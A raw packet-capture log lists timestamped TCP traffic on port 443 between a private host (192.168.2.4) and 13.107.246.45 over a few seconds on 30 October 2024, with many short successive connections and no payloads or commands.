Oct 30, 2024 02:28:27.516161919 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.516232967 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.516239882 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.516249895 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.516252995 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.519033909 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.519077063 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.519238949 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.519412994 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.519454956 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.525376081 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.525564909 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.525638103 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.525698900 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.525698900 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.525734901 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.525758982 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.527935028 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.527959108 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.528021097 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.528140068 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.528167009 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.577915907 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.578480005 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.578489065 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.578912020 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.578917027 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.667988062 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.668560982 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.668586016 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.669009924 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.669023037 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.705389977 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.705540895 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.705611944 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.705754995 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.705760002 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.705781937 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.705785990 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.708566904 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.708581924 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.708669901 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.708821058 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.708832979 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.799510002 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.799562931 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.799619913 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.799724102 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.799724102 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.799748898 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.799776077 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.802489042 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.802561998 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.802624941 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.802753925 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.802786112 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.853702068 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.854074001 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.854099989 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.854490042 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.854496002 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.986630917 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.986676931 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.986751080 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.986753941 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.986807108 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.987046003 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.987060070 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.987068892 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.987072945 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.989803076 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.989814997 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.989906073 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.990037918 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.990051031 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.253437996 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.253870964 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.253885984 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.254308939 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.254313946 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.263396025 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.263751984 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.263796091 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.264132023 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.264144897 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.379693985 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.379764080 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.379829884 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.379853010 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.379892111 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.379942894 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.380086899 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.380096912 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.380105019 CET	49939	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.380111933 CET	443	49939	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.382606983 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.382694960 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.382858992 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.382987976 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.383018017 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.398741007 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.398916960 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.398999929 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.399059057 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.399059057 CET	49938	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.399092913 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.399116993 CET	443	49938	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.400923014 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.400949955 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.401024103 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.401125908 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.401134014 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.455048084 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.455434084 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.455454111 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.455878973 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.455883980 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.537894011 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.538364887 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.538431883 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.538739920 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.538753986 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.589204073 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.589389086 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.589451075 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.589473963 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.589483023 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.589493036 CET	49940	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.589497089 CET	443	49940	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.591474056 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.591509104 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.591604948 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.591716051 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.591734886 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.675986052 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.676029921 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.676076889 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.676218033 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.676218987 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.676382065 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.676422119 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.676448107 CET	49941	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.676462889 CET	443	49941	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.679235935 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.679260015 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.679352045 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.679517031 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.679529905 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.733769894 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.734389067 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.734397888 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.734806061 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.734811068 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.865021944 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.865197897 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.865312099 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.866785049 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.866785049 CET	49942	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.866791964 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.866799116 CET	443	49942	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.867798090 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.867830992 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:28.867932081 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.868093967 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:28.868105888 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.139614105 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.140038967 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.140055895 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.140476942 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.140482903 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.269855976 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.270041943 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.270114899 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.270143032 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.270143032 CET	49944	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.270154953 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.270160913 CET	443	49944	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.272845984 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.272870064 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.272953987 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.273088932 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.273099899 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.313518047 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.314018965 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.314080000 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.314467907 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.314481020 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.332634926 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.332952976 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.332973003 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.333339930 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.333347082 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.431065083 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.431504965 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.431519985 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.431936979 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.431941986 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.441548109 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.441615105 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.441698074 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.441731930 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.441797018 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.441858053 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.441859007 CET	49943	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.441903114 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.441934109 CET	443	49943	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.444322109 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.444354057 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.444432020 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.444534063 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.444544077 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.463277102 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.463304043 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.463376999 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.463481903 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.463624954 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.463646889 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.463660955 CET	49945	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.463668108 CET	443	49945	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.465528011 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.465543032 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.465619087 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.465729952 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.465743065 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.566514969 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.566529989 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.566561937 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.566587925 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.566620111 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.566729069 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.566729069 CET	49946	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.566737890 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.566745043 CET	443	49946	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.568339109 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.568355083 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.568597078 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.568597078 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.568619013 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.612283945 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.612835884 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.612849951 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.613125086 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.613131046 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.749628067 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.749701977 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.749747992 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.749764919 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.749819040 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.749865055 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.753159046 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.753182888 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.753196955 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.753204107 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.757220030 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.757292986 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:29.757369041 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.757498980 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:29.757531881 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.009371996 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.010036945 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.010059118 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.010642052 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.010647058 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.138895035 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.139077902 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.139144897 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.139245033 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.139260054 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.139275074 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.139281034 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.141972065 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.141999960 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.142070055 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.142254114 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.142270088 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.190581083 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.191644907 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.191657066 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.192104101 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.192110062 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.214353085 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.214694977 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.214709997 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.215065956 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.215070009 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.295200109 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.296143055 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.296154022 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.296580076 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.296585083 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.317687988 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.317862988 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.317929983 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.348236084 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.348309040 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.348366022 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.348376989 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.348442078 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.348490953 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.357995987 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.358002901 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.358011961 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.358016968 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.358521938 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.358541965 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.358552933 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.358557940 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.424928904 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.424957037 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.424998999 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.425070047 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.425102949 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.448422909 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.448440075 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.448450089 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.448456049 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.448573112 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.448654890 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.448745012 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.449508905 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.449547052 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.450587988 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.450607061 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.450670958 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.450818062 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.450830936 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.451940060 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.451967955 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.452121973 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.452280998 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.452295065 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.497246981 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.549830914 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.591227055 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.591245890 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.595753908 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.595768929 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.722786903 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.722984076 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.723073959 CET	49952	443	192.168.2.4	13.107.246.45
